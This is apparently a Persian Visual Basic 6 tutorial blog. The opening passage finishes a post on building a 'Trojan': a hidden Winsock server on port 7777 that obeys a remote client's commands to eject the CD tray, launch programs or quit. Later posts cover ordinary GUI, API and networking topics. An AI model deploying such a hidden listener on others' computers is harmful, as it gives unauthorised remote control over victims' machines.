winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنید و کیف کنید ...
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

جعبه پیام ها سه شنبه سی و یکم مرداد 1391 21:22

به نام خدا

 با عرض سلام خدمت شما !

جعبه پیام ها در ویژوال بیسیک بسیار کاربرد دارند به طوری که تمامی برنامه هایی که شما در سیستم عاملتان از آن استفاده میکنید دارای جعبه پیام های متعددی هستند و باعث میشوند که برنامه با کاربر بیشتر ارتباط برقرار کند و باعث حرفه ای تر شدن برنامه ما شود.

در ویژوال بیسیک جعبه پیام ها به دو دسته تقسیم میشوند که عبارتند از:

۱- جعبه پیام هایی که فقط پیام را به کاربر نشان میدهند و یک فرمان از کاربر میگیرند.(MsgBox).

۲- جعبه پیام هایی که علاوه بر نشان دادن پیام یک رشته و یک فرمان از کاربر دریافت میکند.(InputBox).

1- MsgBox

MsgBox خود یک تابع است که یک جعبه پیام به کاربر نشان میدهد.شکل پایین.

در شکل بالا شما مشاهده می کنید که جعبه پیام ما یک عنوان(Title) و یک آیکون و تعدادی دکمه فرمان است.

ساختار کلی تابع MsgBox به صورت زیر است.

 به این صورت: (MsgBox (Prompt,IntStyle,Title

که در شکل بالا Prompt همون جمله ای است که به پیام را میرساند.در شکل بالا(Do You WantTo Exit)

در تابع MsgBox ; دکمه فرمان ها آیکون جعبه پیام و تعداد دکمه فرمان ها توسط IntStyle مشخص میشود در زیر در مورد آرگومان IntStyle بیشتر صحبت میکنیم.

vbOkOnly                  دکمه OK

vbOKCancel              دکمه های OK و Cancel

vbAbortRetryIgnore   دکمه های Abort,Retry,Ignore

vbYesNoCancel         دکمه های Yes,No,Cancel

vbYesNo                   دکمه های Yes,No

vbRetryCancel           دکمه های Retry,Cancel

 

آیکون هایی که می توان استفاده کرد به شرح زیر است:

 

vbCritical               

vbQuestion            

vbExclamation       

vbInformation        

بین دکمه و ایکون باید علامت + بگذاریم. مقدارهایی که جعبه پیام می تواند بر گرداند به شرح زیر است:

 

نام ثابت

مقدار

vbOK

1

vbCancel

2

vbAbort

3

vbRetry

4

vbIgnore

5

vbYes

6

vbNo

7

برای بهتر یادگرفتن شما یک مثال ساده میزنیم.

مثال: یک دکمه فرمان روی فرمتون قرار بدین(CommandButton) سپس روی اون دوبارکلیک کنید تا پنچره کد باز شود سپس در روال رویداد Command1_click  کدهای زیر را بنویسید.

MsgBox "Do you want to Exit" , VBQuestion + vbYesNo , "Question

سپس برنامه رو اجرا کنید و روی دکمه فرمان کلیک کنید و نتیجه کار خودتون رو ببینید.

شما برای یادگیری بهتر میتونید در مثال بالا به جای VBQuestion , vbYesNo  مقادیر دیگری را قرار دهید.

توجه داشته باشید که اگر فقط (MsgBox (Prompt را بنویسید و آرگومان های دیگر را مقدار دهی نکنید جعبه پیام نمایش داده میشود ولی آیکون و عنوان ندارد و فقط یک دکمه فرمان دارد.امتحانش ضرر نداره.

مثال : در مثال یک به جای اینکه کل کد رو بنویسید فقط این رو بنویسید:

MsgBox "Do You Want To Exit

در تابع MsgBox می توان فهمید که کاربر کدام دکمه فرمان را کلیک کرده برای فهمیدن اینکه کاربر کدام دکمه فرمان جعبه پیام را زده است باید به صورت زیر عمل کنیم.

ابتدا باید یک متغیر از نوع عدد صحیح تعریف کنیم.سپس متغیر را برابر با تابع MsgBox قرار دهیم و با استفاده از یکی از دستورات شرطی If یا Select Case دستوراتی را که باید اجرا شوند  بنویسیم.

مثال ۱: ابتدا یک Command Button روی فرم قرار دهید سپس کدهای زیر را بنویسید:

Dim X as Integer

Private Sub Command1_Click

("X = MsgBox ("Do You Want To Exit" , vbQuestion + VbYesNo , "Question

If X =  6 then

End

Else

Exit Sub

End If

End Sub

تذکر اگر با کپی کردن کدها دچار مشکلی شدید خودتان آنها را بنویسید.

 

۲- InputBox

جعبه پیام InputBox جعبه پیامی است که از کاربر سوالی میکند و جواب را دریافت میکند.شکل زیر.

                                     

همان طور که در شکل میبینید جعبه پیام سوال کرده که اسم شما چیست و در قسمت پایین جعبه پیام محلی برای دریافت جواب سوال وجود دارد.

شکل کلی تابع InputBox به صورت زیر است:

(مقدار پیش فرض تکست جعبه پیام , عنوان , سوال) InputBox

مثال ۲: ابتدا یک CommandButton روی فرم قرار دهید سپس کدهای زیر را بنویسید.

Dim X as String

Private Sub Command1_Click

("X = InputBox("What is your name?","Question

MsgBox "Welcome:" + X ,vbInformation

End Sub


جعبه گفتگو ها در ویژوال بیسیک باعث می شود برنامه های شما پیشرفته تر شود و کاربران از کار کردن با برنامه شما لذت ببرند.

جعبه گفتگو ها در ویژوال بیسیک به شش(۶) دسته تقسیم میشوند که عبارتند از:

۱- جعبه گفتگوی انتخاب رنگ : گفتگویی که به کاربر امکان انتخاب رنگ مورد نظر و حتی دستکاری آن ها رامی دهد.

۲- انتخاب فونت: گفتگویی برای انتخاب فونت ونوع و اندازه و سبک آنها.

۳- باز کردن فایل: گفتگویی برای باز کردن فایل از پوشه ها و درایوها حتی درایو های شبکه.

۴- سیو(ذخیره کردن) فایل: گفتگویی برای ذخیره کردن فایل در پوشه ها و درایوها.

۵- چاپ: گفتگویی برای انتخاب چاپگر و سایر تنظیمات آن.

۶- کمک ویندوز: سیستم کمک ویندوز را فعال میکند و اگر برنامه شما دارای کمک باشد امکان استفاده از آن را برای کاربران فراهم می آورد.

 

برای اضافه کردن کنترل جعبه گفتگو به برنامه خود باید:

۱- بازدن کلیدهای ترکیبی Ctrl + T (از منوی Project گزینه Components را می زنیم) گفتگوی  Components را باز کنید .

۲- کنترل Microsoft Common Dialog Control 6.0 را پیدا کنید و آن را تیک بزنید.

۳- دکمه OK را بزنید تا این کنترل به جعبه ابزارتان اضافه شود.

----------------------------------------------------------------------------------------------------------->>

متدهای کنترل جعبه گفتگو عبارتند از:

۱- Show Open گفتگوی باز کردن فایل را نمایش خواهد داد.

۲- Show Save گفتگوی ذخیره کردن فایل را نمایش میدهد.

۳- Show Printer گفتگوی انتخاب چاپگر را نمایش میدهد.

۴- Show Color گفتگوی انتخاب رنگ را نمایش میدهد.

۵- Show Font گفتگوی انتخاب فونت را نمایش میدهد.

۶- Show Help گفتگوی کمک ویندوز را نمایش میدهد.

برای ست کردن اینکه کنترل ما کدام گفتگو را نمایش دهد به صورت زیر عمل میکنیم:

CommonDialog1.ShowOpen

CommonDialog1.ShowSave

CommonDialog1.ShowFont

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

 سلام به همه ی برنامه نویس ها !!!!!!!!!!

 اول یه ماژول به پروژه اضافه کنید و این کد رو توش بنویسید
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
حالا یه دکمه به فرم اضافه کنید چون می خایم با زدن این دکمه نشانگر موس مثلا به ستون 30 و سطر 40 بره
Private Sub Command1_Click()
SetCursorPos 30, 40
End Sub
تموم شد حالا وقتی کاربر این کلید رو بزنه اشاره گر موس به طور خودکار به جایی تعيين شده انتقال پيدا ميكنه

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

قرار دادن آيكن برنامه كنار ساعت در تسك بار سه شنبه سی و یکم مرداد 1391 21:20

براي قرار دادن آيکون برنامه در system tray اول يک ماژول تعريف کنین و کد های زير رو توش بنویسید

اول ثابتهایی رو که لازم داریم می نویسیم

Public Const WM_RBUTTONUP = &H205
Global Const WM_MOUSEMOVE = &H200
Global Const NIM_ADD = 0
Global Const NIM_DELETE = 2
Global Const NIM_MODIFY = 1
Global Const NIF_ICON = 2
Global Const NIF_MESSAGE = 1
Global Const ABM_GETTASKBARPOS = &H5

بعد تعريف يه type با نام RECT براي نشون دادن يه مستطيل :
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

بعد یه type با نام NOTIFYICONDATA براي توصيف آيکون مینویسیم :

Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

حالا تعريف يه type با نام APPBARDATA براي توصيف اطلاعات application bar :

Type APPBARDATA
cbSize As Long
hwnd As Long
uCallbackMessage As Long
uEdge As Long
rc As RECT
lParam As Long
End Type

دو تا متغير رو بصورت زير تعريف مي کنيم :

Global Notify As NOTIFYICONDATA
Global BarData As APPBARDATA


حالا نياز به declare کردن توابع Shell_NotifyIcon و SHAppBarMessage از کتابخانه shell32 داريم :


Private Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Private Declare Function SHAppBarMessage Lib "shell32.dll" (ByVal dwMessage As Long, pData As APPBARDATA) As Long


روتين قراردادن آيکون بصورت زيره :

Sub AddIcon(Form1 As Form, IconID As Long, Icon As Object, ToolTip As String)
Dim Result As Long
BarData.cbSize = 36&
Result = SHAppBarMessage(ABM_GETTASKBARPOS, BarData)
Notify.cbSize = 88&
Notify.hwnd = Form1.hwnd
Notify.uID = IconID
Notify.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
Notify.uCallbackMessage = WM_MOUSEMOVE
Notify.hIcon = Icon
Notify.szTip = ToolTip & Chr$(0)
Result = Shell_NotifyIcon(NIM_ADD, Notify)
End Sub


روتين حذف آيکون بصورا زيره :


Sub delIcon(IconID As Long)
Dim Result As Long
Notify.uID = IconID
Result = Shell_NotifyIcon(NIM_DELETE, Notify)
End Sub

در فرم مورد نظرتون ابتدا يه متغير از نوع object تعريف کنيد :

Public IconObject As Object

در Form load عبارات زير رو بنويسيد :

Set IconObject = Form1.Icon
AddIcon Form, IconObject.Handle, IconObject, "TrayIcon"

در Form unload عبارات زير رو بنويسيد :

delIcon IconObject.Handle
delIcon Form1.Icon.Handle

فرض کنين يه منو با نام popmenu در فرم دارين و مي خواین با کليک راست روي آيکون برنامه در system tray ، اون منو باز بشه . اول visible اين منو رو false کنيد بعد متد زير رو براي mousemove بنويسيد :

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Static Message As Long
Message = X / Screen.TwipsPerPixelX
Select Case Message
Case WM_RBUTTONUP:
Me.PopupMenu Popup
End Select
E
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

ساخت ساعت عقربه ای سه شنبه سی و یکم مرداد 1391 21:18

به نام خدا

 سلام !

اول يک تايمر به فرم اضافه کنيد و Interval اون رو برابر ۱۰۰۰ قرار بدين. بعد :

Private Sub Form_Load()
    Me.BackColor = vbBlack
End Sub

Private Sub Timer1_Timer()
 
    Form1.Refresh
    X = Form1.Width / 2
    Y = Form1.Height / 2.2
    Circle (X, Y), Y - 200, vbWhite
    Circle (X, Y), Y - 220, vbWhite
    For i = 1 To 12
         Circle (X + (Y - 400) * Cos(i * 22 / 42), Y + (Y - 400) * Sin(i * 22 / 42)), 50, vbRed
    Next
    h = Hour(Time())
    If h > 12 Then
        h = h - 12
    End If
    m = Minute(Time())
    s = Second(Time())
    Line (X, Y)-(X + (Y - 600) * Cos((66 / 14 + s * (44 / 420))), Y + (Y - 600) * Sin((66 / 14 + s * (44 / 420)))), vbBlue
    Line (X, Y)-(X + (Y - 800) * Cos((66 / 14 + m * (44 / 420))), Y + (Y - 800) * Sin((66 / 14 + m * (44 / 420)))), vbYellow
    Line (X, Y)-(X + (Y - 1200) * Cos(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420)), Y + (Y - 1200) * Sin(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420))), vbWhite

End Sub

موفق باشید !

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

توابع API چه هستند ؟ سه شنبه سی و یکم مرداد 1391 21:17

  API مخفف Application Programming Interface است و به معنای رابط برنامه نویسی کاربردی است.API مجموعه ای از توابع برنامه نویسی است که هم مورد استفاده سیستم عامل واقع می سود و هم یک برنامه کاربردی می تواند از آن استفاده کند. توابع API در قالب فایل های DLL عرضه میشود. در سیستم عامل ویندوز فایل هایی مثل : Kernel32.dll ، gdi32.dll ، user32.dll و چندین فایل دیگر شامل این توابع هستند. این توابع معمولاً با زبان برنامه نویسی C نوشته شده اند. ولی در زبان های دیگر مثل دلفی ، ویژوال سی پلاس پلاس و ویژوال بیسیک هم می توان از آنها استفاده کرد.

    توابع API بر دو دسته اند :

  • 16 بیتی : این توابع در ویندوز های قدیمی کاربرد داشته اند و در سیستم ها ی کنونی به تدریج جای خود را از دست داده اند. و فقط برای حفظ سازگاری ویندوز با برنامه های قدیمی این توابع هنوز هم با ویندوز عرضه می شوند. توابع 16 بیتی ویندوز در حدود 730 عدد می باشد.

  • 32 بیتی : این توابع نمونه های پیشرفته تر توابع قدیمی 32 بیتی هستند. همانطور که گفته شد توابع 16 بیتی قدیمی شده اند و نمونه های 32 بیتی اکثر آنها در ویندوز موجود است. برای آنکه این گونه توابع با نمونه های 16 بیتی شان اشتباه گرفته نشود در انتهای آنها یک کاراکتر A وجود دارد که نشان دهندهء 32 بیتی بودن آنهاست. توابع 32 بیتی بالغ در 6500 عدد هستند.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

طریقه ی ساخت MP3 player سه شنبه سی و یکم مرداد 1391 21:15

به نام خدا

 سلام !

 می خواهم طریقه ی ساخت یه MP3 player رو آموزش بدهم :
امروز می خوام یک ocx براتون معرفی کنم که با اون میشه فایل های MP3 رو توی برنامه پخش کرد
ocx به فایل هایی گفته میشه که قبلا توسط برنامه های دیگه مثل C++,delfi,c نوشته شده و برای راحتی کار در ویژوال بیسیک استفاده میشود.

 اول این فایل را از این جا دانلود کنید.

 حالا ویژوال بیسیک رو اجرا کنید و در منو project قسمت components رو کلیک کنید.
در پنجره ی باز شده دکمه ی Brows رو کلیک کنید و ocx رو که دانلود کردید انتخاب کنید.و بعد ok رو بزنید.
حالا می بینید که در سمت چپ پنجره ی ویژوال بیسیک دوتا ایکون اضافه شده که یکی از اونها شبیه بلندگو هست.شما باید این بلندگو رو به فرم اضافه کنید.(روی اون دوبل کلیک کنید)
خوب حالا باید یکمی کد نویسی کنید
اگر دوست دارید فایل با پسوند های mp1,mp2,mp3,wav رو پخش کنید باید کد زیر رو بنویسید

RSPMP31.PlayFile  "ادرس فایل صوتی"

اگر دوست دارید فایل در حال پخش رو PAUSE  کنید(توقف پخش به صورت موقت)باید این کد رو بنویسید

RSPMP31.PausePlayback

و اگر دوست دارید فایلی رو که PAUSE کردید رو RESUME کنید(ادامه ی پخش)باید این کد رو بتویسید

RSPMP31.ResumePlayback


این ocx امکانات زیادی داره مثل گرفتن مدت زمان فایل،تعیین نوع فایل،تبدیل فایل mp3 به wave و.....

نکته: برای اینکه برنامه ی شما روی تموم کامپیوتر ها اجرا بشه باید این ocx روی اون کامپیتر باشه یعنی باید توی پوشه ی system32 کپی کنید.
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

خواص Textbox سه شنبه سی و یکم مرداد 1391 21:14

به نام خدا

 سلام !
این دفعه می خوام در مورد بعضی از خاصیت های textbox که در پنجره ی properties وجود داره توضیح بدم.
1-Name=این رو که حتما می دونید که اسم اون هستش ولی نکته ای که باید به اون توجه کرد اینه که برنامه نویس های حرفه ای در اول اسم textbox ها txt روهم مینویسند مثلا txtdisplay یا txtname .
2-Alignment=این خاصیت نحوه تراز شدن متن رو در textbox رو نشون می ده (وسط چین،چپ چین،راست چین).
3-Appearance= این خاصیت به شکل و شمایل اون مربوط می شه اگر flat رو انتخاب کردید textbox به صورت تخت در میاد ولی اگر 3d رو انتخاب کنید به صورت سه بعدی و تو رفته در میاد.
4-Backcolor= ای هم مربوط میشه به رنگ داخل textbox.
5-enable= هم مربوط میشه به فعال یا غیر فعال بودن.
6-Forecolor= این هم رنگ متن داخلش رو مشخص می کنه.
7-locked= این خاصیت مشخص می کند که آیا کاربر می تواند متن داخل ان را عوض کند یا نه.
8-Maxlenght= این خاصیت حداکثر تعداد کاراکترهایی را که می توان درون textbox وارد نمود مشخص می کند.
9-Multiline= چنانچه این خاصیت true باشد وقتی در textbox در حال تایپ کردن هستید اگر اینتر را فشار دهید به خط بعد می روید و می توانید متن را در بیشتر از یک خط بنویسید ولی اگر این خاصیت false باشد فقط میتوانید در یک خط متن را وارد کنید.
10-Passwordchar= حتما دیدید که وقتی در حال تایپ کردن پسورد هستید هرچی تایپ می کنید به جاش یه علامت ستاره تایپ میشه که به خاطر اینه که متن به صورت محرمانه باشه وکسی نتونه ببینه.حالا شما در مقابل این خاصیت هر کاراکتری رو وارد کردی به جای متن اون کاراکتر نشون داده میشه.مثلا اگر 3 رو وارد کردید، هرچی تایپ کردید بجای اون 3 میبندید.
11-RightToLef= این خاصیت مشخص می کنه متن از چپ به راست نوشته شود یا از راست به چپ.
12-scrollbar= چنانچه بخواهید میله های مرور روی جعبه متن ظاهر شوند ونیز برای تعیین تعداد انها باید از این خاصیت استفاده کنید.مقدار0-None از ظاهر شدن میله های مرور جلوگیری میکند.مقدار 1-Horizontal فقط یک میله مرور افقی نشان می دهد.مقدار 2-vertical اجازه نمایش میله مرور عمودی را می دهد..مقدار 3-both هر دو میله مرور افقی و عمودی را نشان می دهد.
13-Text=این خاصیت متن اولیه(مقدار پیش فرض) را که درون جعبه متن ظاهر می شود را نشان می دهد.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

ابزار Textbox سه شنبه سی و یکم مرداد 1391 21:13

به نام خدا

 حتما متوجه شدید که وقتی توی یک textbox در حال تایپ کردن هستید یه خط چشمک زن وجود داره.
حالا من می خوام دستورات مربوط به اون رو براتون بنویسم.

1-محل قرار گرفتن خط چشمک زن

حتما دیدید که وقتی یه textbox فعال میشه در حالت پیش فرض خط چشمک زن در اول خط قرار داره.حالا من می خوام با کلیک بر روی یه command button این خط چشمک زن به کاراکتر 5 بره. برا این کار باید کد زیر رو به کدهای command button اضافه کنید.

Text1.selstart=5
Text1.SetFocus

در این کد بجای Text1 باید اسم textbox رو بنویسید.و به جای عدد 5 باید شماره کاراکتر را بنویسید.
حالا یه مثال میزنم که وقتی command1 رو فشار میدید خط چشمک زن در text1  به کاراکتر سوم بره.
 

Private Sub Command1_Click()
text1.selstart = 3  
Text1.SetFocus
End Sub

البته اگر این کد برای بعضی از مواقع کار نداد باید Text1.SetFocus رو ازش حذف کنید.و همچنین اگه بخواهید خط چشمک زن رو به اخر متن بفرستید باید این len(text1.text) رو به جای عدد بنویسید.

2-انتخاب همه یا قسمتی از متن داخل textbox(آبی کردن)


حالا اگه بخواهید همه یا قسمتی از متن داخل text1 رو انتخاب یا همون ابی کنید باید این کد رو بنویسید.

Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
Text1.SetFocus

در این کد عدد صفر شماره کاراکتر شروع قسمت ابی شده هستش مثلا اگر به جای عدد صفر عدد 3 رو نوشتید قسمت ابی شده از کاراکتر 3 به بعد شروع میشه.
همچنین مقدار len(text1.text) در خط دوم به برنامه دستور میده که تا آخر متن رو ابی کند که به جای اون میتوانید یک عدد قرار بدید.در اون صورت این عدد تعداد کاراکتر های ابی شده هستش.
از چهره هاتون پیداست که متوجه نشدید.حالا یه مثال میزنم که روشن بشید.
تو این مثال میخواهیم با کلیک بر روی command1،برنامه در Text1 متن رو از کاراکتر 3 تا چهار تا کاراکتر بعد از اون ابی کنه.

Private Sub Command1_Click()
Text1.SelStart = 3
Text1.SelLength = 4
Text1.SetFocus
End Sub
نوشته شده توسط سعید دامغانیان  | لینک ثابت |



به نام خدا

 در این بخش یک کنترل Ocx معرفی می شود که بوسیله آن می توانید مشخصات سخت افزاری سیستم خود را استحراج کنید .
این کنترل را که Hardware Info نام دارد می توانید از این جا دانلود کنید !

  پس از باز نمودن فایل zip دانلود شده مشاهده خواهید کرد که دو فایل dll و یک فایل ocx در آن وجود دارد . همچنین یگ فایل راهنما نیز بهمراه آنها وجود دارد که طریقه استفاده از کنترل را نشان می دهد . برای استفاده از کنترل فوق وارد محیط ویژال بیسیک شده و سپس وارد منوی Components شوید .  در آنجا روی دکمه Browse کلیک کنید . وارد پوشه ای که فایل zip را در آنجا باز کرده اید شده و فایل HWInfo.ocx را انتخاب کنید تا این کنترل به لیست کنترلهای نوار ابزار شما اضافه شود . حال می توانید از کنترل را روی فرم خود قرار دهید و از امکانات آن استفاده کنید .
این کنترل دارای خصوصیات زیر است :
BaseBoardManufacturer : مشخصات سازنده مادربورد
BaseBoardProduct : نوع چیپ ست مادربورد
BiosVendor : سازنده بایوس
BiosReleaseDate : تاریخ انتشار بایوس
BiosVersion : ورژن بایوس
BiosROMSize : سایز حافظه رام بایوس
SocketDesignation : نوع سوکت پردازنده
ProcessorType : نوع پردازنده
ProcessorManufactor : سازنده پردازنده
ProcessorID : شماره ID پردازنده
ProcessorSerialNumber : شماره سریال پردازنده
با استفاده از این کنترل همچنین می توان اطلاعات هر چهار هارد دیسک IDE سیستم را استخراج نمود برای مثال اگر بخواهید اطلاعات Primary Hard ( شماره یک ) را بدست آورید از خصوصیات زیر استفاده کنید :
HardDisk1ModelNumber : شماره مدل هارددیسک
HardDisk1SerialNumber : شماره سریال هارد دیسک ( شماره سریال کارخانه )

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

کنترل Shape سه شنبه سی و یکم مرداد 1391 21:11

کنترل Shape برای کشیدن یه شکل مثلا مربع ویا مستطیل و ... به کار می ره!

خصوصیت های مهم این کنترل عبارتند از:

Name: نام شکل.

BackColor: رنگ پس زمینه ی شکل (دقت کنید که باید خاصیت پایین رو روی شماره ی 1 تنظیم کنید تا رنگ اعمال بشه).

BackStyle: تعیین شیشه ای بودن یا بسته ی بدون شکل.

BorderColor: رنگ حاشیه ی شکل.

BorderStyle: تعیین شکل حاشیه ی شکل (مثلا: نقطه نقطه خط) اگه خایت پایین رو بیشتر از 1 قرار بدید این خاصیت بی اثر می شه.

BorderWidth: تعیین ضخامت حاشیه ی شکل.

FillColor: تعیین رنگ خط های داخلی شکل

FillStyle: تعیین خط های داخلی شکل (مثلا: خط مورب)

Height: اندازه ی طولی شکل

Index: شماره ی اندیس (برای شکل های آرایه ای)

Left: اندازه ی چپ شکل از فرم

Shape: تعیین شکل (مثلا: گرد)

Top:اندازه ی ارتفاع شکل از بالا

Visible:نمایش یا عدم نمایش شکل

Width: اندازه ی عرضی شکل

حالا مثلا اگه خاصیت Shape رو، روی 2 یا همون Oval تنظیم کنید شکلمون به شکل یه بیضی در میاد و اگه خاصیت BorderStyle رو، روی 5 یا همون Dash–Dot-Dot تنظیم کنیم خطمون به شکل ---- - - ---- - - ---- در میاد

خب حالا یه برنامه:

مساله: برنامه ای بنویسید که با استفاده از 2 اسکرول (فرقی نداره کدومشون) بتوان شکل و خط های درون یک شکل Shape با نام Shape1 را تغییر داد.

اول از همه باید به این نکته توجه کنید که شکل Shape بیشتر از 6 تا نیست و خط های داخلی رو هم نمیشه بیشتر از 8 تا گذاشت.

کدنویسی:

اول از همه Max هر اسکرول رو به ترتیب 5 و 7 می زاریم. (چون اسکرول ها از 0 شروع می شن) بعد داخل اسکرولی که ماکسش رو روی 5 تنظیم کردیم کد زیر رو می نویسیم:

Shape1.Shape = HScroll1.Value

بعد از اون کد زیر رو درون اون یکی اسکرول که ماکسش رو روی 7 تنظیم کردیم کد زیر رو می نویسیم:

Shape1.FillStyle = HScroll1.Value
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

کنترل Internet Transfer سه شنبه سی و یکم مرداد 1391 21:9

به نام خدا

مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .
اتصالات HTTP : همانطور که مي دانيد ، پروتکل HTTP استاندارد وب مي باشد . صفحات وب با زبان Html نوشته مي شوند و انتقال آنها از server به client توسط پروتکل HTTP صورت مي گيرد .
متد OpenURL : ساده ترين راه استفاده از کنترل IT متد OpenURL است . شکل کلي اين متد بصورت زير است :

Inet.OpenURL(url,DataType)x

که url آدرس صفحه وب و DataType نوع داده بازيابي شونده است و دو مقدار icString ( داده متني ) يا icByteArray ( داده باينري ) را مي گيرد . مقدار بازگشتي اين متد ، داده هاي منتقل شده است .
اين متد بصورت سنکرون کار مي کند يعني در تمام مدت کار آن برنامه نمي تواند کار ديگري انجام دهد . اگر از icByteArray استفاده کنيد بايد مقدار بازگشتي آنرا در يک ارايه بايت قرار دهيد .
مثال 1 : از بخش Component در منوي Project مورد Microsoft Internet Transfer Control 6.0 را به toolbar خود اضافه کنيد . سپس يک کنترل IT روي فرم قرار دهيد و همچنين يک Rich Textbox و يک دکمه روي فرم قرار دهيد و کد زير را براي event مربوط به کليک دکمه بنويسيد :

TextBox.text=Inet.OpenURL(“www.microsoft.com”,icString)x

مثال 2 : کد زير داده هاي باينري را از اينترنت خوانده و آنها را در يک فايل ذخيره مي کند :

Dim b() as byte
B()=Inet.OpenURL(ftp://ftp.microsoft.com/test.zip,icByteArray)x
Open App.path & “\test.zip” For Access Write As #1
Put #1,b()x
Close #1


رويداد StateChanged : کنترل IT فقط يک event دارد که StateChanged مي باشد . اين event زماني روي مي دهد که State کنترل تغيير کند . State هر اتفاقي است که برنامه بايد از آن مطلع شود . تعريف کلي اين event بصورت زير است :

Inet_StateChanged(ByVal NewState As Integer)x

که NewState مقداري است که حالت جديد را بيان مي کند . مقادير ممکن اين پارامتر عبارتند از :
icNone : حالت تغيير نکرده است .
icResolvingHost : در حال جستجوي آدرس IP کامپيوتر موردنظر .
icHostResolved : آدرس IP کامپيوتر موردنظر يافت شد .
icConnecting : در حال اتصال به کامپيوتر مقصد
icConnected : اتصال به کامپيوتر مقصد برقرار شد .
icRequesting : در حال ارسال درخواست به کامپيوتر مقصد
